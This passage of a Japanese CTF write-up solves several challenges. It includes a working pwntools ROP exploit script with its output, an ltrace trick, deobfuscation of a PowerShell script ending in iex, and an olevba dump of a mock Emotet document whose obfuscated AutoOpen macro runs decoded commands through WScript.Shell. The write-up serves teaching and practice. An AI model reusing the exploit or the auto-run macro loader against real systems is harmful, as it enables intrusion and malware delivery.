      index++;
      break;
    case 10:
      print_menu();
      break;
    case 11:
      show_arena(rop_arena, index);
      break;
    case 0:
      show_arena(rop_arena, index);
      {
        register u_int64_t rsp asm("rsp");
        rsp = (u_int64_t)rop_arena;
        __asm__("ret");
        exit(0);
      }
    default:
      puts("bye beginner!!\n");
      exit(1);
      break;
    }
  }
}

int main() {
  init();
  create_gadgets_table();
  rop_machine();
}

この問題ではsystem関数などのシェルを取れそうなガジェットはないため、「bufに"flag.txt"を書き込み」→「flag.txtをopen」→「flag.txtをread」→「read内容を標準出力へwrite」の手順を取る必要がありそうです。この時、open結果のファイルディスクリプタをread関数へ渡す必要がありますが、「mov rdi, rax」ガジェットがなさそうでした。そのためgdbでopen結果を確認して、その値を直接ROPに組み込む方針を取りました。

「bufに"flag.txt"を書き込み」箇所で最初はgets関数を使おうとしていたのですが、どういうわけかSegmentation Faultが起こってしまいました。悩んでいたのですが、布団の中で「read関数を使えばいい」と閃きました。また、open関数の戻り値は3になるようでした。そういうわけで、配布ファイル中のsample.pyを参考にしながら以下のソルバーを書いて実行しました:

#!/usr/bin/env python3.8

import pwn
import ast

# pwn.context.log_level = "DEBUG"

def cmd_append_hex(tube, int_value):
    tube.sendlineafter(b"> ", b"1")
    tube.sendlineafter(b"hex value?: ", hex(int_value).encode())
def cmd_append_pop_rdi(tube):
    tube.sendlineafter(b"> ", b"2")
def cmd_append_pop_rsi(tube):
    tube.sendlineafter(b"> ", b"3")
def cmd_append_pop_rdx(tube):
    tube.sendlineafter(b"> ", b"4")
def cmd_append_gets(tube):
    tube.sendlineafter(b"> ", b"5")
def cmd_append_open(tube):
    tube.sendlineafter(b"> ", b"6")
def cmd_append_read(tube):
    tube.sendlineafter(b"> ", b"7")
def cmd_append_write(tube):
    tube.sendlineafter(b"> ", b"8")
def cmd_show_arena(tube):
    tube.sendlineafter(b"> ", b"b")
def cmd_execute(tube):
    tube.sendlineafter(b"> ", b"0")

def solve(tube):
    tube.readuntil(b'"buf" address is ')
    address_buf = ast.literal_eval(tube.readlineS())

    print(f"{hex(address_buf) = }")

    FD = 3
    BUF_SIZE = 128

    # read(0, buf, 8)
    cmd_append_pop_rdi(tube)
    cmd_append_hex(tube, 0) # 0: STDIN_FILENO
    cmd_append_pop_rsi(tube)
    cmd_append_hex(tube, address_buf)
    cmd_append_pop_rdx(tube)
    cmd_append_hex(tube, 8)
    cmd_append_read(tube)

    # open(buf, O_RDONLY)
    cmd_append_pop_rdi(tube)
    cmd_append_hex(tube, address_buf)
    cmd_append_pop_rsi(tube)
    cmd_append_hex(tube, 0)     # 0: O_RDONLY
    cmd_append_open(tube)

    # read(FD, buf, SIZE)
    cmd_append_pop_rdi(tube)
    cmd_append_hex(tube, FD)
    cmd_append_pop_rsi(tube)
    cmd_append_hex(tube, address_buf)
    cmd_append_pop_rdx(tube)
    cmd_append_hex(tube, BUF_SIZE)
    cmd_append_read(tube)

    # write(FD, buf, SIZE)
    cmd_append_pop_rdi(tube)
    cmd_append_hex(tube, 1) # 1: STDOUT_FILENO
    cmd_append_pop_rsi(tube)
    cmd_append_hex(tube, address_buf)
    cmd_append_pop_rdx(tube)
    cmd_append_hex(tube, BUF_SIZE)
    cmd_append_write(tube)

    cmd_execute(tube)
    tube.clean()                # rop-arena表示を無視
    tube.send(b"flag.txt") # read用
    print(tube.recvline().decode())

with pwn.remote("rop-machine-final.pwn.wanictf.org", 9005) as tube: solve(tube)
# with pwn.process("./final") as tube: solve(tube)
# with pwn.gdb.debug("./final", "b *0x4017A2\nc") as tube: solve(tube)
$ ./solve.py
[+] Opening connection to rop-machine-final.pwn.wanictf.org on port 9005: Done
hex(address_buf) = '0x404140'
FLAG{you-might-be-the-real-rop-master}

[*] Closed connection to rop-machine-final.pwn.wanictf.org port 9005
$

フラグを入手できました: FLAG{you-might-be-the-real-rop-master}

[Reversing, Beginner] ltrace (166pt, 154solved)

この問題はltraceで解ける...ってコト!?

$ sudo apt-get install -y ltrace
$ ltrace --help

ヒント : オプションをよく確認しよう

配布ファイルはELFバイナリltraceでした。とりあえずltrace実行してみました:

$ ltrace ./ltrace
printf("Input flag : ")                                                   = 13
__isoc99_scanf(0x559678dc5012, 0x7ffc37036690, 0, 0Input flag : test
)                      = 1
strcmp("test", "FLAG{c4n_y0u_7r4c3_dyn4m1c_l1br4"...)                     = 46
puts("Incorrect"Incorrect
)                                                         = 10
+++ exited (status 1) +++
$

strcmpでフラグと比較していますが、フラグ表示が途中で打ち切られています。man ltraceを見ると、-sオプションが有効そうです:

       -s strsize
              Specify the maximum string size to print (the default is 32).

そういうわけで-sオプションを付けて実行しました:

$ ltrace -s 100000 ./ltrace
printf("Input flag : ")                                                   = 13
__isoc99_scanf(0x56392f20d012, 0x7ffc8b032f80, 0, 0Input flag : test
)                      = 1
strcmp("test", "FLAG{c4n_y0u_7r4c3_dyn4m1c_l1br4ry_c4ll5?}")              = 46
puts("Incorrect"Incorrect
)                                                         = 10
+++ exited (status 1) +++
$

フラグを入手できました: FLAG{c4n_y0u_7r4c3_dyn4m1c_l1br4ry_c4ll5?}

(最初は間違ってltrace ./ltrace -s 10000と、ltraceコマンドではなく配布バイナリの方にオプションを適用してしまっていてハマっていました)

[Reversing, Easy] pwsh (197pt, 95solved)

Power!!!

Installing PowerShell on Ubuntu

配布ファイルを確認すると、PowerShellスクリプトでした:

(("{39}{4}{12}{45}{21}{0}{36}{25}{26}{27}{7}{13}{30}{16}{31}{48}{23}{18}{19}{20}{24}{28}{3}{38}{11}{5}{2}{8}{46}{34}{29}{1}{35}{15}{10}{33}{9}{32}{22}{37}{40}{6}{43}{17}{47}{44}{14}{41}{42}"-f ' world of PowerShe','d_p','cl','d3','ch','1n_','else','ost cW4Passwo','34r1n68r30b','{
  Writ','l}','_','o ','r','W4Incor','w3r5h3l','W','
 ','t ','-eq c','W4FLAG{','he','t c','(fj7inpu','y0u_','fj7input =',' ','Read-H','5ucc33','473','dc','4','e-Outpu','cW4) ','u5c','0','ll!cW4

','W4Co','d','e','rrect!cW4
} ','rec','tcW4
}
',' {','tput c','cW4Welcome to t','f',' Write-Ou','

if ')).replACe('cW4',[STRiNg][CHAr]34).replACe('8r3',[STRiNg][CHAr]95).replACe('fj7',[STRiNg][CHAr]36) |& ( $VErboSEPReFErencE.TostRIng()[1,3]+'x'-Join'')

とりあえず純粋な文字列操作らしい箇所だけをPowerShellで評価していきました:

PS C:\> (("{39}{4}{12}{45}{21}{0}{36}{25}{26}{27}{7}{13}{30}{16}{31}{48}{23}{18}{19}{20}{24}{28}{3}{38}{11}{5}{2}{8}{46}{34}{29}{1}{35}{15}{10}{33}{9}{32}{22}{37}{40}{6}{43}{17}{47}{44}{14}{41}{42}"-f ' world of PowerShe','d_p','cl','d3','ch','1n_','else','ost cW4Passwo','34r1n68r30b','{
>>   Writ','l}','_','o ','r','W4Incor','w3r5h3l','W','
>>  ','t ','-eq c','W4FLAG{','he','t c','(fj7inpu','y0u_','fj7input =',' ','Read-H','5ucc33','473','dc','4','e-Outpu','cW4) ','u5c','0','ll!cW4
>>
>> ','W4Co','d','e','rrect!cW4
>> } ','rec','tcW4
>> }
>> ',' {','tput c','cW4Welcome to t','f',' Write-Ou','
>>
>> if ')).replACe('cW4',[STRiNg][CHAr]34).replACe('8r3',[STRiNg][CHAr]95).replACe('fj7',[STRiNg][CHAr]36)
echo "Welcome to the world of PowerShell!"

$input = Read-Host "Password"

if ($input -eq "FLAG{y0u_5ucc33d3d_1n_cl34r1n6_0bfu5c473d_p0w3r5h3ll}") {
  Write-Output "Correct!"
} else {
  Write-Output "Incorrect"
}

PS C:\> $VErboSEPReFErencE.TostRIng()
SilentlyContinue
PS C:\> $VErboSEPReFErencE.TostRIng()[1,3]+'x'-Join''
iex
PS C:\>

入力と比較するところから、フラグを入手できました: FLAG{y0u_5ucc33d3d_1n_cl34r1n6_0bfu5c473d_p0w3r5h3ll}

(ところで実行結果をテキストファイルに書いているうちにWindows DefenderがMicrosoft Defender Antivirus would like to check the following files to see if they are safe.と言ってきました。なかなか厳格にスキャンしておられる。)

[Reversing, Hard] EmoEmotet (264pt, 44solved)

なんかヤバそうなファイルが添付されたメールが届いちゃった。

これってもしかしてあのEmo---だったり...?

注意

    zipのパスワードは「emoemotet」です
    このファイルは競技用に作成されたもので、システムに害を与えるプログラムは含まれていません
    このファイルは一部のアンチウイルスソフトによって誤検知され削除されることがあります
    Windows, Wordがなくても解くことができます

ヒント : https://github.com/decalage2/oletools

配布ファイルのzipを展開するとemoemotet.docが含まれていました。とりあえずヒントどおりにVBAを抽出しました:

remnux@remnux:~/EmoEmotet$ olevba emoemotet.doc
olevba 0.56.2 on Python 3.6.9 - http://decalage.info/python/oletools
===============================================================================
FILE: emoemotet.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO emo
in file: emoemotet.doc - OLE stream: 'emo'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private InitDone       As Boolean
Private Map1(0 To 63)  As Byte
Private Map2(0 To 127) As Byte
Sub AutoOpen()
CreateObject(unxor(Array(135, 46, 140, 24, 228, 225, 126, 169, 34, 40, 56), 3) & unxor(Array(201, 1), 14)).Run unxor(Array(137, 123, 117, 87, 89, 140, 200, 174, 138, 204, 135, 229, 75, 9, 168, 39, 117, 219, 2, 212, 118, 230, 128, 213, 197, 44, 99, 93, 193, 144, 49, 210, 70, 175, 228, 16, 187, 75, 36, 215, 144, 31, 223, 159, 127, 45, 9, 205, 183, 34), 16) & _
unxor(Array(199, 228, 3, 153, 81, 192, 25, 128, 137, 147, 136, 23, 7, 80, 224, 108, 203, 255, 197, 21, 174, 66, 117, 184, 52, 127, 71, 19, 183, 239, 29, 155, 18, 223, 159, 241, 35, 183, 202, 179, 22, 101, 99, 100, 54, 218, 32, 33, 142, 198, 175, 159, 29, 205, 110, 154, 65, 22, 247, 152, 91, 192, 108, 145, 58, 203, 25, 158, 99, 37, 128, 229, 54, 60, 38, 178, 134, 208, 68, 38, 39, 99, 76, 155, 56, 147, 53, 156, 203), 66) & _
unxor(Array(102, 198, 208, 164, 182, 203, 117, 231, 127, 219, 94, 126, 10, 162, 173, 72, 207, 156, 150, 219, 167, 117, 27, 172, 242, 233, 32, 72, 61, 65, 178, 142, 245, 133, 139, 29, 181, 134, 18, 199, 242, 233, 14, 5, 134, 127, 212, 91, 91, 8, 171, 90, 25, 109, 198, 97, 6, 157, 10, 45, 214, 27, 185, 134, 246, 145, 32, 196, 221, 131, 137, 27, 100, 146, 80, 67, 177, 161, 71, 193, 155, 175, 42, 192, 227, 172, 239, 123, 92), 155) & _
unxor(Array(234, 141, 79, 179, 223, 15, 203, 43, 171, 112, 201, 234, 98, 141, 170, 14, 174, 104, 46, 107, 122, 18, 176, 138, 238, 208, 78, 126, 217, 208, 197, 2, 219, 144, 118, 145, 213, 45, 173, 225, 233, 161, 66, 174, 198, 108, 46, 184, 249, 150, 178, 36, 223, 5, 41, 60, 105, 114, 110, 110, 40, 134, 139, 35, 41, 235, 57, 182, 60, 105, 58, 175, 196, 240, 224, 144, 250, 156, 14, 138, 217, 9, 147, 115, 55, 194, 186, 162, 79), 244) & _
unxor(Array(209, 193, 20, 114, 189, 230, 8, 167, 240, 61, 224, 242, 135, 166, 38, 7, 87, 151, 117, 148, 46, 97, 158, 117, 106, 143, 40, 126, 199, 26, 83, 196, 211, 16, 152, 203, 123, 22, 248, 60, 127, 38, 179, 12, 140, 170, 29, 148, 133, 77, 82, 213, 53, 92, 146, 151, 236, 151, 74, 37, 118, 16, 28, 157, 49, 18, 131, 195, 167, 133, 54, 214, 12, 248, 32, 108, 36, 131, 65, 250, 97, 12, 26, 10, 182, 16, 34, 15, 10), 333) & _
unxor(Array(81, 75, 148, 28, 3, 254, 84, 127, 57, 78, 30, 146, 239, 82, 115, 175, 20, 208, 87, 218, 140, 50, 189, 210, 111, 35, 12, 128, 1, 116, 208, 150, 230, 88, 166, 120, 35, 106, 166, 121, 243, 216, 251, 46, 25, 196, 102, 54, 130, 52, 233, 123, 103, 240, 146, 114, 144, 49, 205, 121, 89, 126, 226, 239, 23, 51, 71, 7, 184, 111, 154, 71, 39, 28, 191, 99, 43, 237, 59, 241, 187, 84, 205, 162, 82, 62, 227, 183, 145), 422) & _
unxor(Array(220, 194, 134, 110, 158, 136, 28, 157, 6, 28, 18, 29, 219, 15, 42, 69, 202, 26, 210, 214, 48, 60, 156, 210, 88, 81, 191, 153, 36, 72, 192, 205, 71, 101, 125, 96, 84, 172, 113, 120, 112, 252, 31, 16, 92, 180, 3, 4, 127, 58, 214, 173, 165, 31, 64, 250, 139, 176, 79, 89, 136, 249, 48, 37, 153, 201, 184, 51, 155, 186, 96, 121, 74, 163, 28, 131, 230, 74, 186, 237, 17, 163, 101, 17, 51, 1, 78, 40, 101), 511) & _
unxor(Array(173, 96, 11, 202, 44, 219, 158, 69, 217, 56, 179, 84, 118, 152, 185, 163, 20, 92, 3, 211, 142, 226, 92, 27, 150, 191, 222, 95, 105, 58, 87, 200, 109, 108, 90, 41, 190, 252, 39, 215, 215, 150, 117, 140, 19, 0, 206, 174, 60, 83, 253, 136, 153, 112, 28, 55, 54, 1, 131, 65, 74, 92, 97, 135, 64, 80, 192, 181, 183, 54, 130, 9, 197, 65, 182, 38, 196, 1, 248, 217, 155, 50, 57, 1, 135, 114, 53, 68, 126), 600) & _
unxor(Array(246, 123, 20, 204, 50, 152, 85, 111, 106, 210, 2, 247, 48, 159, 65, 255, 33, 131, 91, 157, 245, 204, 232, 223, 23, 163, 243, 109, 81, 181, 198, 99, 13, 150, 202, 151, 133, 228, 53, 192, 53, 212, 255, 30, 218, 222, 76, 176, 230, 46, 127, 0, 251, 133, 0, 75, 6, 98, 143, 221, 135, 70, 86, 153, 72, 105, 167, 91, 77, 86, 67, 240, 157, 143, 239, 49, 103, 247, 44, 158, 232, 23, 50, 225, 15, 179, 237, 94, 120), 689) & _
unxor(Array(21, 83, 142, 200, 60, 47, 222, 133, 241, 121, 102, 78, 134, 204, 252, 118, 74, 8, 97, 95, 138, 94, 62, 159, 44, 75, 147, 70, 175, 185, 75, 205, 218, 38, 251, 211, 199, 207, 11, 12, 118, 242, 74, 62, 19, 187, 36, 239, 38, 120, 58, 21, 17, 110, 113, 192, 57, 6, 111, 168, 102, 244, 147, 53, 151, 47, 247, 65, 123, 74, 183, 87, 167, 131, 236, 21, 60, 168, 168, 109, 249, 113, 164, 208, 138, 110, 252, 219, 183), 778) & _
unxor(Array(220, 77, 218, 41, 229, 2, 88, 252, 106, 253, 236, 187, 215, 59, 193, 15, 32, 150, 231, 159, 48, 149, 160, 224, 111, 182, 39, 147, 118, 135, 109, 38, 249, 118, 63, 205, 247, 94, 37, 175, 100, 222, 164, 108, 71, 245, 42, 113, 7, 181, 87, 188, 28, 71, 172, 75, 129, 136, 82, 8, 238, 65, 105, 125, 243, 190, 156, 168, 181, 28, 153, 190, 197, 25, 147, 84, 135, 79, 188, 11, 18, 30, 138, 195, 228, 177, 172, 230, 163), 867) & _
unxor(Array(116, 194, 246, 44, 213, 63, 75, 126, 78, 201, 230, 241, 205, 28, 240, 125, 46, 241, 50, 61, 113, 118, 113, 86, 190, 61, 41, 156, 140, 82, 85, 106, 154, 150, 116, 59, 37, 253, 214, 245, 112, 156, 68, 246, 220, 182, 181, 189, 58, 225, 9, 164, 170, 238, 237, 86, 187, 55, 95, 125, 41, 240, 254, 175, 112, 213, 7, 13, 2, 246, 86, 176, 29, 97, 105, 229, 127, 121, 158, 77, 51, 32, 116, 104, 213, 158, 211, 231, 161), 956) & _
unxor(Array(129, 43, 134, 12, 8, 25, 228, 210, 145, 230, 100, 15, 197, 93, 157, 207, 26, 89, 220, 180, 84, 164, 102, 26, 249, 193, 34, 39, 225, 173, 136, 48, 2, 189, 79, 149, 126, 91, 99, 100, 89, 230, 239, 55, 238, 118, 200, 215, 212, 103, 180, 29, 169, 169, 86, 253, 76, 43, 205, 184, 10, 200, 239, 162, 140, 127, 45, 214, 133, 132, 32, 46, 221, 66, 49, 28, 237, 233, 29, 55, 34, 233, 243, 91, 27, 182, 146, 58, 210), 1045) & _
unxor(Array(221, 59, 115, 92, 39, 169, 26, 171, 5, 50, 197, 131, 119, 184, 107, 4, 29, 192, 53, 48, 132, 208, 65, 239, 155, 255, 215, 11, 24, 223, 136, 184, 64, 53, 126, 130, 187, 163, 164, 231, 37, 66, 251, 28, 11, 234, 2, 4, 164, 226, 66, 129, 205, 228, 64, 161, 54, 125, 62, 224, 56, 131, 134, 191, 223, 120, 130, 17, 7, 109, 154, 190, 7, 142, 154, 136, 163, 62, 125, 20, 97, 205, 30, 51, 252, 229, 116, 237, 29), 1134) & _
unxor(Array(250, 244, 208, 17, 50, 212, 135, 122, 49, 134, 155, 37, 131, 204, 239, 166, 215, 221, 49, 134, 92, 63, 41, 197, 73, 176, 26, 30, 134, 119, 176, 123, 215, 56, 159, 8, 66, 175, 127, 67, 73, 174, 128, 162, 142, 209, 1, 136, 92, 160, 147, 191, 233, 99, 132, 42, 11, 107, 188, 42, 221, 194, 18, 107, 174, 79, 16, 20, 104, 155, 183, 188, 119, 207, 27, 251, 1, 131, 14, 91, 61, 115, 233, 57, 143, 178, 128, 246, 87), 1223) & _
unxor(Array(214, 95, 231, 84, 214, 176, 235, 78, 206, 44, 143, 68, 150, 97, 49, 48, 56, 82, 156, 68, 43, 117, 63, 134, 143, 30, 38, 64, 222, 22), 1312)
End Sub
Public Function Base64Decode(ByVal s As String) As Byte()
   If Not InitDone Then Init
   Dim IBuf() As Byte: IBuf = ConvertStringToBytes(s)
   Dim ILen As Long: ILen = UBound(IBuf) + 1
   If ILen Mod 4 <> 0 Then Err.Raise vbObjectError, , ""
   Do While ILen > 0
      If IBuf(ILen - 1) <> Asc("=") Then Exit Do
      ILen = ILen - 1
      Loop
   Dim OLen As Long: OLen = (ILen * 3) \ 4
   Dim Out() As Byte
   ReDim Out(0 To OLen - 1) As Byte
   Dim ip As Long
   Dim op As Long
   Do While ip < ILen
      Dim i0 As Byte: i0 = IBuf(ip): ip = ip + 1
      Dim i1 As Byte: i1 = IBuf(ip): ip = ip + 1
      Dim i2 As Byte: If ip < ILen Then i2 = IBuf(ip): ip = ip + 1 Else i2 = Asc("A")
      Dim i3 As Byte: If ip < ILen Then i3 = IBuf(ip): ip = ip + 1 Else i3 = Asc("A")
      If i0 > 127 Or i1 > 127 Or i2 > 127 Or i3 > 127 Then _
         Err.Raise vbObjectError, , ""
      Dim b0 As Byte: b0 = Map2(i0)
      Dim b1 As Byte: b1 = Map2(i1)
      Dim b2 As Byte: b2 = Map2(i2)
      Dim b3 As Byte: b3 = Map2(i3)
      If b0 > 63 Or b1 > 63 Or b2 > 63 Or b3 > 63 Then _
         Err.Raise vbObjectError, , ""
      Dim o0 As Byte: o0 = (b0 * 4) Or (b1 \ &H10)
      Dim o1 As Byte: o1 = ((b1 And &HF) * &H10) Or (b2 \ 4)
      Dim o2 As Byte: o2 = ((b2 And 3) * &H40) Or b3
      Out(op) = o0: op = op + 1
      If op < OLen Then Out(op) = o1: op = op + 1
      If op < OLen Then Out(op) = o2: op = op + 1
      Loop
   Base64Decode = Out
   End Function
Private Sub Init()
   Dim c As Integer, i As Integer
   i = 0
   For c = Asc("A") To Asc("Z"): Map1(i) = c: i = i + 1: Next
   For c = Asc("a") To Asc("z"): Map1(i) = c: i = i + 1: Next
   For c = Asc("0") To Asc("9"): Map1(i) = c: i = i + 1: Next
   Map1(i) = Asc("+"): i = i + 1
   Map1(i) = Asc("/"): i = i + 1
   For i = 0 To 127: Map2(i) = 255: Next
   For i = 0 To 63: Map2(Map1(i)) = i: Next
   InitDone = True
   End Sub
Private Function ConvertStringToBytes(ByVal s As String) As Byte()
   Dim b1() As Byte: b1 = s
   Dim l As Long: l = (UBound(b1) + 1) \ 2
   If l = 0 Then ConvertStringToBytes = b1: Exit Function
   Dim b2() As Byte
   ReDim b2(0 To l - 1) As Byte
   Dim p As Long
   For p = 0 To l - 1
      Dim c As Long: c = b1(2 * p) + 256 * CLng(b1(2 * p + 1))
      If c >= 256 Then c = Asc("?")
      b2(p) = c
      Next
   ConvertStringToBytes = b2
   End Function
Private Function unxor(ciphertext As Variant, start As Integer)
    Dim cleartext As String
    Dim key() As Byte
    key = Base64Decode("rFd10H3vao2RCodxQF2lbfkUAjIr/6DL5qCnyC4p5EA0tEOXFafhhIdAIhum0XulB9+lU9wKRrDSWZ7XHGxFnPVUhqNK2DCnW8bI1MVWYxGhC4q5iFT5EzfCdTcWUu2+X9VTnKuwcOaIxVcmVyVjrWIRz4Dm3kecLNgAU8fZOKcu/XuMXN85ZMKjd3Rv882RBUFmICvacdJ36Yojk5HAwYoBpjjjHydt4NwJisnXgtA3K+2xqGEBfAPmz73uyn7CxCKGt7xPUdc+oRoeY+oObiyzIEPQS3mhWffHsNBhkbrBz1os3xEgxuM3gN6Xa5SE7Zo6G7vMFeKdYops3DGQuyDY60v7KXscOCLxwqeRFC+buIRH69E90JdP7KSC4CDZhxlv/cnX6HWdcWh7UTM7CWqzymtkqm/3fjp76pGxscG40k/M6UjaMnWg++oCkJZFMMenTvaxZ7GwyedlMxbOAtZ+INlBK+tPPIFbG42SRtmJH1e8Uz5p1E7h61vdxBkl" & _
"l3sd196txhtnIlFZyHBc5IKXxHCbTa5hLl3CBpEgbn1I2FFhaEsYCtVyQrkdPmA5X6CuFhjuRacVoM131pMLVE7IQDG717EZ5BdiLOc4pb+5Q1iMAXfQQ6soJrjxM8ZgjzQYO5WuQkQFdfko6QZEa/0QaqhysOozj/sTeoj2wI2A0C/bwV35cV5EXJNOawqbWJCXdwzdsD8QjNhiDYGYFicJIRD5MBshvm1RGv1CZz54n+ziSgGe2vJ6GMy4cWv+i+hy0/shNgvhVcKuJfuPZuFUUHtqD3w07yZKj2ma+iKYCvIRO9nu8lYOQpbbowha1OyfGzx7BJkvJxth3b1xoJaiNMRwQZz/fiC8zvYxTlB0bsIHKR07xgI8gfCDd+NIhwL3YbdAor7ZfHhH3jNhBTykOlyrc/0yLQSTR8dx0BC9QMIerbSCqZ1Q4rUGEPiXIVvXjtrEhnSBTZW4U5uJHfGQbzlVuuRRCUAjyIzGCDHbDCjvEgwbNLLEzqdeJrh9" & _
"3K1WddVO4bwcKlQb14luWJzBsDwrD8u7vi8LTRIe6A982G0Oygf6+Am9m2GIkp6eSWY3tSF/cOpmuWc+d1RCPzO5eEAm6TWT0ULWZ5QAMD31GObEpVRZ+eoCuDSckd0JvrP2lBSbZKRADL0unq3vhnmyTmflpvtH15ahJ+9mxgHGH2exGX6vgBx17iyx5T4WtBowQsIW310F1QrH6xNfvwM9PLv/3czSXs//jUDSB/AN60pVccuZtfPvp+ZMg6d9l0UKNiWIq7CMKbE7Z7BWWjNEMBPdfGbNzmQULvHXOXpnlZeyNd0ht57x9PljoFDD6N+sEuJ2DRprg7/qNZRJekOAF/VIID2SPgDfCkRhLg+Xq5KgysBO4U5nWKGD0IM1TYcc24pbCY31beUlebiKc2aS7MtxQ+o41wQaJQ8Ys5h13jeNgpUz5Vzc6BGWDUm6+X+Jqu/NK1qUy8Vmb5wXVl6BqFt6Y7yEGWv31QKTiVwyKWbuV+pRRYf3NvAqRX6n" & _
"d1zFmAyuzoiVe1masPkUUjz2+uacpn8DuVpKrDJF64UDt4yhEeBsLHykecS+/r0pwEBGJdP/Vd/Y3OJ4MFUqnF9UvaYfrFG7trJQepnGH2DE4WTFna70hp9Fxx8LaJMI8lxfwBDxH5Z56kkF+j4hLuzq48vpQNId4tn+rFfFeHwp2GuZrVMkyQ1SVSDW9uUAjWu6ROhPEGwyjnjM2cG6MJQmphOD8bIfjGnOAscgU0d6FN0BHzRtx85xZwO1Vw==")
    cleartext = ""
    For i = LBound(ciphertext) To UBound(ciphertext)
        cleartext = cleartext & Chr(key(i + start) Xor ciphertext(i))
    Next
    unxor = cleartext
End Function


-------------------------------------------------------------------------------
VBA MACRO ThisDocument
in file: emoemotet.doc - OLE stream: 'ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|AutoExec  |AutoOpen            |Runs when the Word document is opened        |
|Suspicious|Run                 |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|CreateObject        |May create an OLE object                     |
|Suspicious|Chr                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|Xor                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|Base64 Strings      |Base64-encoded strings were detected, may be |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
+----------+--------------------+---------------------------------------------+

remnux@remnux:~/EmoEmotet$

さて次はVBAファイル内容を少しずつ評価して内容を理解したい、というところなのですが手元環境にはMicrosoft Officeが入っていません。「Windows同梱のVBScriptを使うか?」と考えて試してみましたが、As Boolean箇所で構文エラーとなってしまいました。調べてみるとVisual Basic for Applications を VBScript に置き換える方法 | Outlook 研究所にあるようにVBAとVBScriptは大きく違うようです:

さらに、VBScript では変数の型宣言ができないため、変数同士の比較で予期しない型での比較が行われ、VBA と動作が変わってしまうことがあります。

仕方がないのでPythonスクリプトで同じようにデコードすることにしました。VBAのBase64Decode関数は標準のBase64デコードをするものと信じて、Array関数とunxor関数を再実装して確認しました:

#!/usr/bin/env python3.8

import base64

def Array(*byte_elements): return bytes(byte_elements)

def unxor(ciphertext, start_1_indexed):
    key = base64.b64decode("rFd10H3vao2RCodxQF2lbfkUAjIr/6DL5qCnyC4p5EA0tEOXFafhhIdAIhum0XulB9+lU9wKRrDSWZ7XHGxFnPVUhqNK2DCnW8bI1MVWYxGhC4q5iFT5EzfCdTcWUu2+X9VTnKuwcOaIxVcmVyVjrWIRz4Dm3kecLNgAU8fZOKcu/XuMXN85ZMKjd3Rv882RBUFmICvacdJ36Yojk5HAwYoBpjjjHydt4NwJisnXgtA3K+2xqGEBfAPmz73uyn7CxCKGt7xPUdc+oRoeY+oObiyzIEPQS3mhWffHsNBhkbrBz1os3xEgxuM3gN6Xa5SE7Zo6G7vMFeKdYops3DGQuyDY60v7KXscOCLxwqeRFC+buIRH69E90JdP7KSC4CDZhxlv/cnX6HWdcWh7UTM7CWqzymtkqm/3fjp76pGxscG40k/M6UjaMnWg++oCkJZFMMenTvaxZ7GwyedlMxbOAtZ+INlBK+tPPIFbG42SRtmJH1e8Uz5p1E7h61vdxBkl" +
                           "l3sd196txhtnIlFZyHBc5IKXxHCbTa5hLl3CBpEgbn1I2FFhaEsYCtVyQrkdPmA5X6CuFhjuRacVoM131pMLVE7IQDG717EZ5BdiLOc4pb+5Q1iMAXfQQ6soJrjxM8ZgjzQYO5WuQkQFdfko6QZEa/0QaqhysOozj/sTeoj2wI2A0C/bwV35cV5EXJNOawqbWJCXdwzdsD8QjNhiDYGYFicJIRD5MBshvm1RGv1CZz54n+ziSgGe2vJ6GMy4cWv+i+hy0/shNgvhVcKuJfuPZuFUUHtqD3w07yZKj2ma+iKYCvIRO9nu8lYOQpbbowha1OyfGzx7BJkvJxth3b1xoJaiNMRwQZz/fiC8zvYxTlB0bsIHKR07xgI8gfCDd+NIhwL3YbdAor7ZfHhH3jNhBTykOlyrc/0yLQSTR8dx0BC9QMIerbSCqZ1Q4rUGEPiXIVvXjtrEhnSBTZW4U5uJHfGQbzlVuuRRCUAjyIzGCDHbDCjvEgwbNLLEzqdeJrh9" +
                           "3K1WddVO4bwcKlQb14luWJzBsDwrD8u7vi8LTRIe6A982G0Oygf6+Am9m2GIkp6eSWY3tSF/cOpmuWc+d1RCPzO5eEAm6TWT0ULWZ5QAMD31GObEpVRZ+eoCuDSckd0JvrP2lBSbZKRADL0unq3vhnmyTmflpvtH15ahJ+9mxgHGH2exGX6vgBx17iyx5T4WtBowQsIW310F1QrH6xNfvwM9PLv/3czSXs//jUDSB/AN60pVccuZtfPvp+ZMg6d9l0UKNiWIq7CMKbE7Z7BWWjNEMBPdfGbNzmQULvHXOXpnlZeyNd0ht57x9PljoFDD6N+sEuJ2DRprg7/qNZRJekOAF/VIID2SPgDfCkRhLg+Xq5KgysBO4U5nWKGD0IM1TYcc24pbCY31beUlebiKc2aS7MtxQ+o41wQaJQ8Ys5h13jeNgpUz5Vzc6BGWDUm6+X+Jqu/NK1qUy8Vmb5wXVl6BqFt6Y7yEGWv31QKTiVwyKWbuV+pRRYf3NvAqRX6n" +
                           "d1zFmAyuzoiVe1masPkUUjz2+uacpn8DuVpKrDJF64UDt4yhEeBsLHykecS+/r0pwEBGJdP/Vd/Y3OJ4MFUqnF9UvaYfrFG7trJQepnGH2DE4WTFna70hp9Fxx8LaJMI8lxfwBDxH5Z56kkF+j4hLuzq48vpQNId4tn+rFfFeHwp2GuZrVMkyQ1SVSDW9uUAjWu6ROhPEGwyjnjM2cG6MJQmphOD8bIfjGnOAscgU0d6FN0BHzRtx85xZwO1Vw==")
    cleartext = ""
    for (i, d) in enumerate(ciphertext):
        cleartext += chr(key[i + start_1_indexed] ^ d)
    return cleartext


object_name = unxor(Array(135, 46, 140, 24, 228, 225, 126, 169, 34, 40, 56), 3) + unxor(Array(201, 1), 14)
# print(object_name) # WScript.Shell
shell_script = unxor(Array(137, 123, 117, 87, 89, 140, 200, 174, 138, 204, 135, 229, 75, 9, 168, 39, 117, 219, 2, 212, 118, 230, 128, 213, 197, 44, 99, 93, 193, 144, 49, 210, 70, 175, 228, 16, 187, 75, 36, 215, 144, 31, 223, 159, 127, 45, 9, 205, 183, 34), 16) +\
